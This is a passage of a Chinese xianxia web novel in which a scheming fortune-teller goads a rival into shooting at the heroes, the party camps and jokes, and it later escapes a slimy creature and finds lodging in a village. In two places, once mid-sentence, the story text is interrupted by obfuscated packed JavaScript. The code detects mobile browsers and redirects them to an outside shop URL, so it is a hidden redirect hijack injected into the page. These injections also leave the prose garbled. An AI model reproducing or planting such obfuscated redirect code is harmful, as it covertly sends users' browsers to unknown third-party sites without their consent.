阿萝道:“本座游历至此,跟你们也算有缘,随手拉你们一把,不必放在心上。” 他虽然说别放在心上,却提醒他们二人的性命是自己救的。刘正阳对他心悦诚服,道:“大师,你会相命,那帮我看看,我的命运如何?” 阿萝看他就是个头脑空空的草包,没什么大出息。然而他想利用此人夺回捆神索,便煞有介事地端详了他的脸一阵子,道:“你本身龙章凤姿,天赋异禀,乃是个修仙的天才。只是……唉!” 他遗憾地叹了口气,刘正阳被他吊起了胃口,道:“只是什么?” 阿萝道:“你印堂发黑,一路不顺。显然是气运被人夺走了,因此一直郁郁不得志。” 刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043920|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正阳的眼睛陡然睁得老大,他一直觉得自己天生高贵,不该碌碌无为一生。然而身边的人都说他是个没用的废物,他心里一直不服气。今日终于有人夸他,刘正阳喜不自胜,登时将这谶语师引为了知己,道:“大师,谁把我的气运夺走了,我该怎么办才好!” 阿萝道:“那姓段的小子我见过几面,是个混账无耻贪得无厌之徒,你的气运应当就是被他夺走的。只要杀了他,你就能拿回自己的气运,得道成仙!” 刘正阳对此深信不疑,他早就羡慕段星河身边围绕着许多人,想做什么都有人帮他,说什么都有人信服。他恨声道:“我也想杀他,可是他身边的人太多了,没有下手的机会。” 阿萝眼珠一转,想引他去杀了李玉真,道:“他身边有个小道士是保护他的,你只要杀了他身边那个小道士,就能杀了他了。” 刘正阳有些迟疑,阿萝怕他不上当,又给他添了把火,道:“你不是凡俗之辈,只要你相信自己,就一定能夺回属于你的一切!” 刘正阳攥紧了拳头,一瞬间觉得自己真的可以。他回头看于九,想问他觉得如何。于九对这些话半信半疑的,还没说话,忽然发现那个绿衣少年已经不见了。 刘正阳往前走了一步,小声道:“玉蝉仙,玉蝉仙?” 山林中寂然无声,那少年如同梦幻泡影一般,就这么消失了。刘正阳觉得有些寂寥,想起他刚才的话,心中又生出了希望,兴奋道:“小师叔,这怕不是活神仙显灵,特意来帮咱们的?” 于九也不知道那少年说的到底是真是假,想了想道:“别想那么多了,好不容易甩掉万象门的人了,赶紧跑路要紧。” 段星河等人离开了永夜城,一路向西。他起初还担心万象门的人会追上来,走了两天,发现一点动静也没有。他觉得有点意思,没想到刘正阳他们看起来跟纸糊的似的,殿后的时候还挺有用的。 这天晚上扎了营,赵大海和结香切开一个大冬瓜,准备炖腊肉吃。小对眼在火堆边跟墨墨扑来扑去的,一点也不怕冷。六幺剥开一个大黄柚子,递给司空玉道:“县主,吃点水果。” 司空玉随手把一块柚子皮扣在小对眼头上,道:“送你个帽子,戴好了。” 小对眼嗷呜了一声,甩了甩头把柚子皮拨弄下来,张嘴啃了一会儿,没吃出什么味道。墨墨拿鼻子拱着柚子皮,把它推到了火堆里。柚子皮散发出淡淡的香味,还挺好闻的。 柚子瓤又酸又甜的,十分饱满,司空玉把果肉掰成几块,分给了身边的宋胡缨和李玉真。司空玉把一块柚子瓤递给小对眼,忽然道:“哎,猫能不能吃这个?” 宋胡缨道:“不知道。” 李玉真道:“不能吧,吃了会拉肚子?” 司空玉连忙把小对眼嘴里的果肉抠了出来,小对眼不满地叫了一声,伸出爪子想把吃的抢回来。司空玉一只手顶着它的脑壳,道:“牛肉干呢,快给它!” 李玉真从口袋里掏出一把牛肉干,塞到了小对眼嘴里,它总算消停了。墨墨趁他们没注意,伸出舌头一卷,把掉在地上的柚子瓤吃了下去。司空玉吓了一跳,道:“貘能不能吃柚子?” 宋胡缨一脸茫然,依旧道:“不知道。” 李玉真感觉跟带孩子似的,压下葫芦起了瓢。墨墨连石头都能吃,吃个橘子柚子之类的也没什么事,一会儿功夫又跑到旁边玩去了。大家等着结香他们做饭,一边慢慢剥着柚子,悠闲地聊着天。 司空玉道:“阿缨,你的道心是什么?” 宋胡缨道:“自由。” 她现在想去哪儿就去哪儿,是挺自由的。司空玉笑了,道:“风餐露宿的,不辛苦吗?” 宋胡缨拨弄着篝火,道:“不会啊,你呢?” 司空玉道:“无执,把一切都当成过眼云烟。” 李玉真有点奇怪,感觉跟个老道姑似的。他道:“年纪轻轻的,这么早就四大皆空了?” 司空玉淡淡道:“不看破也没办法啊,我爹娘早就没了,我跟着我哥哥长大,特别怕他离开我。后来我就想,与其天天担惊受怕,不如早点想开,不执着于生死,不执着于爱恨,只要什么都不在乎,就没有东西能打败我。” 她跟说别人的事似的,一副超脱的态度。大家本来以为她出身高贵,人又聪明,没有任何烦恼,没想到她也有不足为外人道的一面。 李玉真笑了一下,道:“挺好的。” 司空玉的眼睛眨了眨,望着远处的段星河。火光映着他的侧脸,他的轮廓格外深邃。他一只手搭在膝上,黝黑的眼睛望着火焰,神情沉静。她小声道:“段兄的道心是什么?” 李玉真含笑道:“你对他感兴趣?” 司空玉轻咳了一声,道:“什么叫感兴趣,就是随便问问,不说算了。” 李玉真笑了,道:“那你自己去问他啊。” 女孩子脸皮都薄,司空玉摆了摆手,道:“不问了不问了,当我没说。” 宋胡缨道:“他的道心是自在。” 司空玉喔了一声,沉吟了良久,道:“那可不好办了……想求自在的人,可不会轻易被什么人拴住呢。” 篝火不住跳动,干柴被烧得劈啪作响。步云邪在段星河身边坐下了,道:“卧底当的怎么样,里头什么情况?” 段星河感觉也没摸到特别有用的消息,还差点让薛红玉占了自己的便宜,有点亏了。他下意识拉了一下衣领,道:“我把他们的人员构成搞清楚了,除了白衣伥鬼,还有些黑衣玄鬼,负责打打杀杀的。在这上面是大伥,一般都是有身份的人才能当,永夜城的太守就是大伥之一。再往上的事我这个身份接触不到,就不知道了。” 步云邪还记着他最想知道的事,道:“搞清楚夜游神的事了么?” 段星河摇了摇头,静了片刻道:“他没留下露脸的画像,城里有不少关于他的壁画,都戴着面具。我怀疑那家伙不识字,架子上的书基本都是画,关于他的文字记载也几乎没有。” 他们这回主要就是奔着夜游神去的,结果也没得到关于他的信息。步云邪有些遗憾,道:“还有么?” 段星河寻思了一下,显得有点不自在,道:“那帮人乌烟瘴气的,没事就搞双修。喔对了,我拿了他们一本修炼的功法,你看看有没有用。” 他起身从行李里翻出了那本妖灵心法,递了过来。步云邪看了片刻,觉得虽然是旁门左道,也有些可观之处。知己知彼百战不殆,要是摸透了其中的破绽,可以对付薛红玉她们。前头是一些行气的法门,中后部分是一些双修之法,以及供奉虺神的邪术,有些内容确实辣眼睛。步云邪把书合上了,道:“行吧,有空我看看。你在那边没遇到危险吧?” 伏顺插嘴道:“没有,大师兄在里头混得好着呢,才去两天就被人相中了,还差点当上头牌。” 段星河拿胳膊肘捣了他一下,道:“什么头牌,别乱说!” 步云邪似笑非笑地看了他一眼,道:“怎么回事,详细说说。” 段星河道:“没什么好说的……我戴了个人皮面具,他们没认出我来,叫我跟着一帮玄鬼去劫了浩荡盟一车镖货。你别说,那帮正道人士都挺有钱的,让薛红玉捡了个大便宜。我估计刘正锋饶不了她,凤来城离永夜城这么近,他早晚得把东西抢回去。” 正邪两道忙着打架,没人有功夫来为难他们,这倒是件好事。步云邪道:“那薛红玉为什么来追杀你,你暴露啦?” “那倒没有,”段星河扬起了嘴角,“我看他们有个法阵藏在大殿里,好像挺厉害的,就给他们弄碎了。我临走的时候在地上留了个水遁的大坑,薛红玉肯定要找李如芝他们算账,等那些人反应过来,咱们这不已经走远了么。” 步云邪挺佩服他,道:“胆子还挺大的,我以前都不知道你有这么多心眼儿呢。” 段星河从小在流民堆里长大,早就有八百个心眼子。他拨弄着火堆道:“你不坑人,人家就坑你。世间险恶,不多动点心眼儿,怎么活下来?” “就是,”伏顺道,“刘正阳也不是什么好东西,谁让他们一直跟着咱们了,这就是他应得的!” 几人说着话,远处的树丛忽然动了动——真是说曹操曹操就到,刘正阳顶着几片枯黄的叶子,悄悄地露出了半个脑袋。 86.拜月教 一 刘正阳躲在草丛里,远远地望着那边的火光,露出了怨愤的表情。自从听了玉蝉仙的话,他就一直跃跃欲试地想要杀了段星河。他白天夜里都在想象等自己夺回了气运,呼风唤雨的日子该有多快活,简直一刻也等不得。 他一路往前追去,果然没多久就找到了段星河他们。火光从远处照过来,刘正阳的眼神格外阴沉。他恨声道:“可算让我找到了,我听着就像他们说话。小师叔,怎么想办法修理他们一顿?” 于九觉得他最近有些不知高低,听了人家几句话,就觉得自己能上天了。他道:“他们那么多人,打不过,算了吧。” 刘正阳扭头道:“他们把咱们害得这么惨,你忍得下这口气?” 这一路上他们背了段星河扔的黑锅,挨了万象门好几顿毒打,跟李如芝到现在还没汇合,可谓惨不忍睹。 那帮人正在做饭,围着篝火有说有笑的。刘正阳越看越生气,悄悄攥紧了拳头。于九耸了耸鼻子,被饭香味勾的有点饿,道:“我去找点吃的,等我一会儿。” 他站起身来,提着剑往树林深处去了。那帮人没意识到自己被人悄悄地注视着,还在聊天。步云邪背对着这边,手里捧着一杯热茶。段星河斜对着这边,不知道说了什么,几个人都笑了。 凭什么? 凭什么他们过得这么好,自己却像丧家之犬一样? 刘正阳身上被万象门的人打的青一块紫一块的,稍微动一下就疼的厉害。他这一路上受了他们太多气,心中像是有一把火在烧,只想让这些人全部消失。 玉蝉仙的话回荡在他耳边——那姓段的小子抢夺了你的气运,杀了他,他的一切就是你的了! 虽然正面打不过,但自己在暗处,总有法子对付他们。 刘正阳像被蛊惑了一般,悄然从背上扯下弓箭,拉满了弓弦,冰冷的箭头对准了段星河的眉心。弓弦发出紧绷的声音,他感觉自己的心脏跳得极快,手心中渗出了冷汗。段星河没感觉到异样,刘正阳迟疑了片刻,那两人他都恨,但终究还是觉得步云邪更可恶一些。 他把箭移向了步云邪的后心,喃喃道:“不杀你我道心不稳——” 嗖的一声,长箭离弦,朝步云邪背后射去。步云邪刹那间听见破空声响,下意识向前一扑,按着段星河倒在地上。一支白羽箭擦着二人的头顶飞过去,咚地一声射进了树里。箭头扎的极深,箭尾还在不住颤动。 伏顺失声道:“啊……有人偷袭,谁!” 众人都吃了一惊,朝那边望去。段星河见树丛动了一下,一道身影转身就跑。他一个箭步冲了过去,喝道:“什么人,站住!” 刘正阳心慌意乱的,提着弓就跑。段星河一把揪住了那人的衣领,拖着他回过头来,登时怒道:“是你!” 他抬手就是一拳,把刘正阳的鼻子揍出了血,道:“让你放暗箭!” 刘正阳被他打的摔在地上,连声道:“放开我,住手!” 他拼命挣扎,甩脱了段星河的钳制,跌跌撞撞地向前跑去。前头有个小山坡,晚上黑黢黢的看不清路,刘正阳慌不择路,被树根一绊,从坡上摔了下去。 “啊啊啊——” 他放声惨叫,慌乱中一把薅住了段星河的胳膊,扯着他一起滚了下去。 “我日……你先人的!” 段星河气得要死,张嘴想要骂人,却灌了一嘴灰。刘正阳的情形也好不到哪去,满脸都是泥巴。两人摔到一半,撞在一块大石头上停了下来。步云邪等人连忙奔了过来,道:“大师兄,没事吧?” 段星河后背被撞的生疼,吐掉了嘴里的泥巴,道:“没事,噗噗,呸!” 刘正阳的头发散乱,扶着腰坐了起来,浑身都是沙子和枯草。众人围着他,恨不能每个人都踩他一脚。段星河站了起来,居高临下地看着他道:“你干什么放冷箭!” 刘正阳又气又害怕,浑身不住发抖,道:“你凭什么扔给黑锅给我们,老子差点被万象门的杀了!” 段星河怒道:“那你冲我来啊,动他干什么?” 刘正阳不说话了,仿佛对步云邪有种天然的嫉恨。步云邪总觉得此情此景似曾相识,他心中有种奇特的感觉,似乎是不甘心,又有些久远的感觉。 远处传来一阵脚步声,于九听见声音赶了过来。他手里提着一只灰扑扑的兔子,没想到自己才离开一会儿,这小子又给自己惹事了。 他道:“怎么了?” 段星河道:“他放暗箭,差点杀了阿云。” 于九倒抽了一口冷气,没想到他这么莽。于九拍了他脑袋一下,道:“毕竟是同根同源的兄弟,小打小闹的就算了,你还真下狠手?” 刘正阳坐在地上,咬着后槽牙,根本不理他这茬。于九心里清楚,今天不给个说法,这些人是不会放他们走的。于九又拍了他脑门一下,道:“道歉!” 刘正阳铁了心不服软,觉得自己有李司正撑腰,他们拿自己没办法。步云邪从刚才到现在一直没说话,此时开口道:“不用了。” 段星河以为他要息事宁人,然而下一刻,步云邪大步过去,对着刘正阳的肚子狠狠揍了一拳。刘正阳噗地咳了一声,一口老血差点喷出来,怒道:“你干什么!” 步云邪甩了甩手,冷淡地说:“有仇不报非君子,我痛快了,你滚蛋吧。” 他这么做已经是高抬贵手了,于九心里很感激,提起刘正阳领子道:“赶紧走!” 刘正阳还觉得没面子,从地上捡起弓,跟他拉拉扯扯地走远了。李玉真道:“啊,就这么放过他了?” 步云邪道:“不然还能怎么样,杀了他?” 段星河拍去了身上的土,道:“也不是不行。” 步云邪便笑了,道:“跟这蠢货计较什么。饭要凉了,吃东西去。” 远处的树林里,一双眼睛透过繁茂的枝叶望过来,却是阿萝。他冷冷地看着那边的情形,见刘正阳被他们揍得鼻青脸肿,皱起了眉头。 本来想借刀杀人,让他替自己杀了李玉真。结果这小子根本听不懂人话,一心只惦记着要杀步云邪,还被人逮到了,简直是成事不足败事有余。阿萝露出了失望的神色,喃喃道:“蠢货!” 刘正阳已经被他小师叔带走了,于九的警惕性高,再跟下去很可能被发现。 靠他们是没指望了,阿萝只能等待下一个机会,钻进了树丛,悄然离去了。 众人回到篝火旁,赵大海重新把饭热起来。一揭锅盖,冬瓜炖腊肉的香气顿时扑面而来。结香把干粮热好了,软乎乎的大饼配冬瓜汤,让人感觉十分满足。众人围在火堆边吃饭,渐渐把刚才的不愉快抛到了脑后。 段星河的脸上和手臂上有些擦伤,步云邪递给他一瓶金疮药。段星河撸起袖子,慢慢地敷着药。火光照着他的脸,他一直沉默着,脸色很难看。为了抓那姓刘的,差点从山上摔下去,太不值了。步云邪也有点后怕,道:“以后别这么冲动了。” 段星河的手臂上还有些疼,皱眉道:“我气不过。” 步云邪道:“我这不没事么。” 那一箭奔着他后心去的,就是想要他的命,甚至是一箭双雕。段星河想起来就恼火,道:“还是揍得轻了!” 步云邪摇了摇头道:“别想他了,早点休息。” 段星河没再说什么,竖着耳朵听了一阵子,感觉周围没有别人,这才没那么戒备了。 吃完饭,结香收了碗去河边洗。伏顺怕刘正阳还在附近,围着营地巡视了一圈,没发现有人。他走到了小河边,见结香正在干活儿。虽然是冬天,她穿着一件浅黄色的棉袄,仍然看得出来腰身纤细,身材极好。她乌黑的头发上绑着红头绳,手腕上戴着一只银镯子,随着干活微微晃荡。 伏顺看的心里痒痒的,忍不住搭话道:“水冷不冷,我来吧。” 结香头也没回,道:“不用了,快洗完了。” 伏顺道:“女孩子手冻坏了就不好看了,还是我来吧。” 结香不想被他抢了自己的活儿,使劲攥着碗不撒手。她从小是干农活长大的,伏顺没想到她力气居然有这么大,感觉再抢下去碗都要掰碎了。他只好放开了手,在旁边站了片刻,也没找到聊天的机会。 赵大海从另外一边巡逻过来,发现他像苍蝇一样跟着结香,大声道:“伏顺,你干嘛呢?” 伏顺有点不好意思,讪讪地回了营地,道:“没什么。” 结香仿佛要躲着他似的,磨磨蹭蹭地在河边洗碗,也不过来。段星河他们已经回帐篷休息了,赵大海坐在火堆边暖手,一边道:“我说,你没事老骚扰人家小姑娘干什么?” 伏顺道:“我哪骚扰她了,我就是……想跟人家交个朋友,有机会的话发展一下。” “算了吧,”赵大海道,“人家不愿意跟你说话,别整的跟从来没见过女人一样。” 伏顺觉得窈窕淑女君子好逑,喜欢又没什么见不得人的。他道:“你知道的,我从小就没有老婆。” 赵大海哭笑不得道:“你这话说的,跟谁从小就有老婆似的。” 伏顺一本正经道:“这是我在最无能为力的时候,遇见的第二十一个想要保护的姑娘。” 他人长得一般,心里惦记着的姑娘倒是不少。赵大海有点好奇,道:“第二十个呢?” 伏顺道:“就老家跟我相亲的那个,给不起聘礼就散了。” 赵大海喔了一声,道:“再上一个呢?” 伏顺道:“燕丘的其其格嘛,你忘啦。” 赵大海想起了那个花朵一般的小姑娘,道:“那个是挺漂亮的,不过人家不喜欢你,你也不能老是一厢情愿啊。” 伏顺挺起了胸膛,自信道:“我那时候还不太成熟,现在经历的多了,已经有男人味了。她们如果再见到我,肯定会被我迷住!” 赵大海笑了,道:“你行了吧,光长年纪不长本事。” 伏顺不服气,道:“你等着瞧,这回我肯定让她喜欢上我。” 赵大海不置可否,远远地看着结香提着盛碗的篮子回来了。她把碗放回大车里,在围裙上擦了擦手。司空玉冲她招了招手,道:“结香,来吃柚子,给你留了半个呢。” 结香露出了笑容,过去坐在了司空玉身边。伏顺越过火堆望着她,越发觉得她容貌秀丽可爱,要是她肯对自己这么笑就好了。 次日清晨,伏顺很早就起来了。结香要给大家做饭,一直都是头一个起的。伏顺穿好了衣裳,去周围帮她拾柴。他一向爱偷懒耍滑,如今想追女孩子,竟也舍得下力气了,认认真真地捡了一大捆柴。结香洗完了脸,看他费劲儿地把柴火拖了过来,道:“妹子,这些柴火够使的吗?” 结香不知道他抽什么风,突然变得这么殷勤起来了。她感觉有点不自在,道:“谢谢,够了。” 她在河边打了一桶水,要起锅做饭。伏顺连忙抢过她手里的桶,提着往回走去,道:“我来、我来!” 伏顺把水倒进大锅里,点起了柴火。结香感觉自己的活儿都被他抢了,非但没有半点开心,反而感到了一阵危机感。伏顺笑嘻嘻的,还觉得自己帮了她的大忙。结香从布口袋里掏出一把玉米糁撒上,看着锅里咕嘟嘟地冒泡,越发沉默了。 伏顺前阵子在永夜城陪段星河当卧底的钱已经拿到了,他兜里有银子,心里也格外有底气。他在她旁边坐着,道:“结香,你喜欢吃什么,玩什么?” 结香垂着眼道:“我不喜欢吃,也不爱玩,就想踏踏实实地干点活,安安静静地过日子。” 伏顺道:“踏实过日子好啊,我也是踏实过日子的人。以后有事你言语一声,我一定帮你。” 结香摇了摇头,道:“我什么事都能自己干,不用别人帮。” 她说着站了起来,伏顺还想跟着她。结香道:“你搅一搅锅,别熬糊了。” 伏顺只好拿起了木勺,把玉米粥翻了几下。浓郁的热气扑面而来,结香已经躲到宋胡缨的帐篷里去了。伏顺觉得自己好像热脸贴了人家的冷屁股,怀疑一会儿宋胡缨就要撸着袖子替她的小姐妹来揍自己了。 片刻赵大海起来了,他见锅里的粥都煮开了,意外道:“你怎么起这么早?” 伏顺拿勺子搅着粥,低声道:“她是不是不喜欢我?” 赵大海茫然道:“谁?结香?” 伏顺嗯了一声,赵大海道:“这还用说,肯定不喜欢啊。” 伏顺差点没被他气死,哪有兄弟失恋了这么刺激人的。他扭头道:“你就不能安慰我两句,我长得不说英俊潇洒,也算是平头正脸的,至于这么嫌弃我吗?” 赵大海觉得其实他跟平头正脸也有一点距离,不少人还说过伏顺长得獐头鼠目。他搔了搔头道:“男人长什么样不重要,重要的是有一技傍身。你起码还会开锁嘛,实在不行回老家当个锁匠也能养家糊口,总会有女孩子愿意嫁给你的。” 伏顺感觉自己被他小瞧了,自己是要当修真界第一盗圣的人,岂能甘心回前头湾做一个小小的锁匠。他道:“我帮她干活,她也不肯看我一眼,好像觉得我碍事似的。” 赵大海道:“喜欢这种事讲究缘分的,人家跟你看不对眼,你帮人家做再多事,也只是添乱而已啊。” 伏顺觉得他今天是不能好好说话了,胳膊肘一直往外拐。赵大海一见结香就想起家乡的小妹子,老是护着她。伏顺有些心灰意冷,把勺子一搁道:“行行行,我不在她跟前碍眼了。天涯何处无芳草,她不理我,我去找别人就是了。” 赵大海虽然看起来憨,还挺会气人的,道:“这么快就放弃了,你也没多喜欢人家嘛。” 伏顺都站起来了,被他一句话又堵回来了。他一拳捶在赵大海肩膀上,道:“你想打架是不是,正好我心情不好,来啊!” 赵大海皮糙肉厚的,挨两下也不疼,哈哈地笑了,道:“这么小气干什么,才说两句就急眼了。” 伏顺悻悻道:“你们就是瞧不起我,你看我哪天非得找个老婆回来!” 赵大海觉得就他现在这个样还是悬,但不想再刺激他了,道:“好好,你可以的。” 其他人陆续起来了,段星河从帐篷里钻出来,伸了个懒腰。步云邪去洗了脸,把头发扎了起来,在火堆边坐下道:“快过年了吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043921|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 段星河道:“还有两天过年。” 大家本来想在永夜城过了年再往前走的,没想到出了意外,只能在外面过了。段星河掏出地图,道:“我记得前头有个小村子的,今天应该就能到了……” 他指着羊皮道:“就这儿,大凉村,天黑之前能赶到。” 步云邪凑过来看了一眼,见村子在山野之间,好像很荒凉,不过有地方落脚就不错了。他们最近一直颠沛流离的,段星河也觉得有些对不起大家。步云邪不想让他有压力,道:“这不是挺好的么,到地方停下来包顿饺子,安安稳稳地过个除夕吧。” 魏小雨凑过来道:“能放炮仗么?” 她最近精神好了一点,又活泼起来了。段星河道:“有卖的就给你买。” 魏小雨举起手臂欢呼了一声,道:“一言为定,我要摔炮,还要放焰火!” 她只听见段星河答应给她买炮仗,能不能买得到就不管了。段星河看着她追着小对眼跑了,有点无可奈何。 吃过了早饭,准备继续赶路了。魏小雨不知道跟小对眼跑到什么地方去了,吃饭的时候就没回来。段星河喊了两声,都没有回应。他对墨墨道:“你去找找她们。” 墨墨拍着翅膀飞了起来,段星河坐在行李堆上等了片刻,就见儿子飞了回来。它原地盘旋了几圈,好像很着急。段星河道:“人呢?” 墨墨啾地叫了一声,往前飞去。段星河追了过去,伏顺和步云邪也跟了上来,边走边喊:“小雨——” 山林里回荡着他们的声音,又从四面八方传回来,仿佛山精鬼怪在嘲笑他们一般。 一群人沿着坑坑洼洼的土路走了一阵子,来到了一个干枯的水沟旁边,里头堆着泥巴、枯叶,一些不知道什么动物的骨头,还有一堆堆暗黄色的肉山。肉山略微透明,有半人多高,是一个个巴掌大的圆球连接而成的,仔细看来,上面还带着血丝,有点像猪皮下的肥肉,又有点像被扯出来扔进垃圾堆里的鱼内脏。 大家看着那东西,脸上露出了嫌恶的表情。伏顺捡起一根树枝,戳了戳那坨肉山,道:“这是什么鬼?” 里面被戳疼了,疯狂地扭动起来,发出了尖锐的叫声。 “嗷——!嗷嗷——!!!” 伏顺吓了一跳,一个个箭步躲到了段星河身后。众人反应过来了,是小对眼的嚎叫声。 “救命啊——” 肉山里发出了闷闷的声音,魏小雨也跟着叫了起来。她艰难地动了动,把一根手指从里面探了出来,晃了晃:“有人吗,我在这里!” 段星河吓了一跳,道:“怎么回事?” 那坨肉山散发着难闻的腥味,不知道是什么鬼东西。魏小雨刚才和小对眼在这儿玩,一不小心踩到了冰,一掉下去就被肉山裹住了。她惨叫道:“这玩意黏黏的,我出不来——啊,我要憋死了!” 段星河连忙提起剑,把外面一层黄色的东西割下来。魏小雨的脑袋露出来了,长长地吸了口气,脸上满是黏液,道:“呸呸,好臭!” 伏顺和段星河把她拽了出来,又扒开黏糊糊的肉堆,从里面找到了小对眼。兔狲蹲在路边干呕了一阵子,魏小雨被熏的鼻涕一把泪一把的,道:“这是什么东西,好恶心!” 其他人也不知道,那玩意儿被割伤了一部分,剩下的部分还有生命力,依然在微微地蠕动着。步云邪注意到旁边的几座肉山还在向外分泌粘液,时而朝天喷出几股。路边积满了黄白色的冰,应该就是它的分泌物凝结的。 魏小雨也发现了,指着那边道:“啊……它还喷,就是这东西害我滑下去的!” 段星河想起了猪笼草之类的东西,道:“这是它捕食的法子吧。” 夷州的怪东西太多了,也不知道这到底是什么玩意,只是看着就觉得十分邪恶。步云邪手里凝结了一团火光,几个沉重的火球轰然砸下去,顿时把那些黄色的怪东西烧焦了。 众人松了口气,段星河伸手给魏小雨擦了擦脸,道:“没事了,以后别乱跑。” 那东西黏黏的,段星河就碰了她一下,三根手指头就粘在一起了。他费了老大劲才分开,中间还荡悠悠地拉丝,咧嘴道:“噫——” 步云邪忍不住笑了,道:“别甩了,回去洗洗吧。” 魏小雨浑身都黏糊糊的,虽然心有余悸,但还挺坚强。她道:“我要换衣服。” 段星河嗯了一声,道:“不着急,等你洗干净了再走。” 一群人回到营地,帐篷还没拔,正好洗澡暖和。段星河让结香烧了水,魏小雨抱着小对眼跳进了澡盆,里头传来了哗啦哗啦的声音。赵大海把其他东西都装到车上,司空玉听他们说了刚才的事,连忙掏出了小本子,道:“还有这种怪事,那黄色的是什么?” 段星河道:“不知道,臭气熏天的,看一眼恶心半年。” 司空玉没能亲眼看看,觉得很遗憾。李玉真安慰道:“没关系,这地方这么邪性,肯定还有机会看到的。” 魏小雨洗完了澡,换了一身干净衣裳,终于清爽了。她伸出胳膊道:“闻闻,还臭吗?” 宋胡缨温和道:“一股香胰子味。” 魏小雨便松了口气,上了司空玉的马车。司空玉拿着把梳子,给小对眼把刚擦干的毛梳顺。小对眼舒服地趴在司空玉的腿上,眯着眼打起了盹儿。 约莫辰时,小路上的晨雾还没散尽,到处一片白茫茫的。步云邪骑马走在路上,见前方隐隐约约有个人影,那人挽着发髻,似乎是个女子。荒郊野外的,不知道怎么会有女人独行。步云邪觉得有点奇怪,道:“星哥,你看。” 段星河也看见了那个女人。她身段窈窕,穿着一身白衣裳,坐在一块大石头上,身后放着个竹篓,怀里抱着个花布襁褓。段星河道:“回娘家的?” 一众人走得近了,正想问她需不需要帮助,就见那女子解开了衣裳,露出了雪白的胸脯,把襁褓里的孩子凑到怀里喂奶。段星河连忙扭过了头,不好意思多看。那女子抬手掠了一下头发,一直扭头看着他们,好像对他们很感兴趣。 大车走出去一段路,伏顺还把脑袋伸在外面,仿佛没见过女人的胸似的。李玉真拢起扇子敲了他头一下,道:“诶——非礼勿视,看什么看!” 外头的雾太大,伏顺看了半天也没看清楚,遗憾地缩了回来,砸了咂嘴道:“你别说,这少妇其实也挺不错的。有时候眼光放开一点,小媳妇比大姑娘有风韵多了。” 李玉真觉得这人真是没救了,道:“有主儿的你都惦记,能不能像点样了?” 伏顺嘿嘿一笑,道:“我就想想,想又没有错。” 步云邪还是觉得有点不同寻常,道:“这地方这么荒,她不怕么?” 她若是害怕,刚才这些人经过的时候,她应该就求助了。段星河道:“可能人家就住在这附近,前头不是有个村子么。” 步云邪没说什么,心里却一直想着刚才的情形。早晨那些黏糊糊的肉山已经够邪性的了,荒郊野外又出现了漂亮的少妇,实在诡异。他总觉得到处都透着一股诡异的气息,仿佛有什么在暗中窥视着他们,让人毛骨悚然。 87.拜月教 二 前头雾蒙蒙的,什么也看不着。众人走到了下午,这才见前头出现了一个小村庄。这村子不大,但村庄周围有大片的耕地,地里种着绿油油的冬小麦,房屋也盖的十分结实,看来百姓的生活还是不错的。 车队来到了村庄里,几个人正在村口抽着旱烟,见来了一群外乡人,都转头看着他们。 段星河翻身下马,拱手行礼道:“几位乡亲,我们路过贵地,想在这儿住几天,请问有借宿的地方吗?” 一个大叔敲了敲旱烟道:“你们哪儿来的?” 段星河道:“我们从大幽来的,要去巴蜀。” 大叔看他们礼貌周至,一副出家人打扮,道:“你们是修道的?” 段星河道:“对,我们是出来历练的。” 几个农夫互相看了一眼,觉得可以行个方便。那个大叔站了起来,道:“我是村长,你们跟我来吧。” 他走在前头带路,穿过村落,来到了一间宅院跟前。这座房子有些破旧了,周围生着些枯黄的野草。村长道:“这屋子的主人搬到城里去了,托我给他看着老宅,租的话一天二钱银子,床和桌椅家具都有,就是可能有点老鼠虫子什么的,你们看看怎么样。” 段星河推开了门,一股灰尘扑面而来。他挥了挥手,扯下一张蜘蛛网,见桌上积着厚厚的一层灰。屋里不但有桌椅和床,还有个大花瓶,墙上贴着个褪了色的福字。除了正屋之外,还有一间厢房,够他们这些人都住下了。 步云邪道:“不错了。” 他们在外颠簸了这么久,有个地方遮头就很满足了。赵大海道:“是不错,拿布擦擦就能住。” 段星河便付了一两银子,打算过了年再走。村长收了钱,道:“村里有卖菜的地方,你们可以到处转转,但是天黑了就别出来了。” 李玉真有些好奇,出声道:“为什么?” 村长迟疑了一下,道:“附近的山里有狐狸……要不然就是黄鼠狼,不好说。” 李玉真还想追问,村长不想跟这些外乡人多说,摆了摆手,已经转身走了。宋胡缨道:“到底是黄鼠狼还是狐狸?” 村民们也说不清楚,家里丢了鸡鸭,也不知道是被什么东西拖走的。李玉真道:“可能都有吧,晚上小心点就是了。” 伏顺道:“不会是黄大仙吧,出来讨封的。” 他说着,摆出一张面无表情的脸,揣着手幽幽道:“小后生,留步——你看我像什么?” 他生的又干又瘦的,弓起背来活像一只成了精的黄鼠狼。赵大海把一根硕大的竹笤帚塞给他,道:“我看你像个帮我干活儿的小厮,干的活儿又多又快还不抱怨,快把地扫了去。” 伏顺有点不甘心,道:“你怎么不干活?” “谁说我不干了,”赵大海撕了一块抹布道,“你扫地,我擦桌子、椅子、床。好几个屋呢,这么厚的灰没有一个时辰干不完,快干活吧。” 他们说着话,步云邪已经走到了水井边揭开了盖,把桶扔进去,开始打水了。伏顺见二师兄都在干活,也不好再抱怨了,抡起笤帚开始扫地。 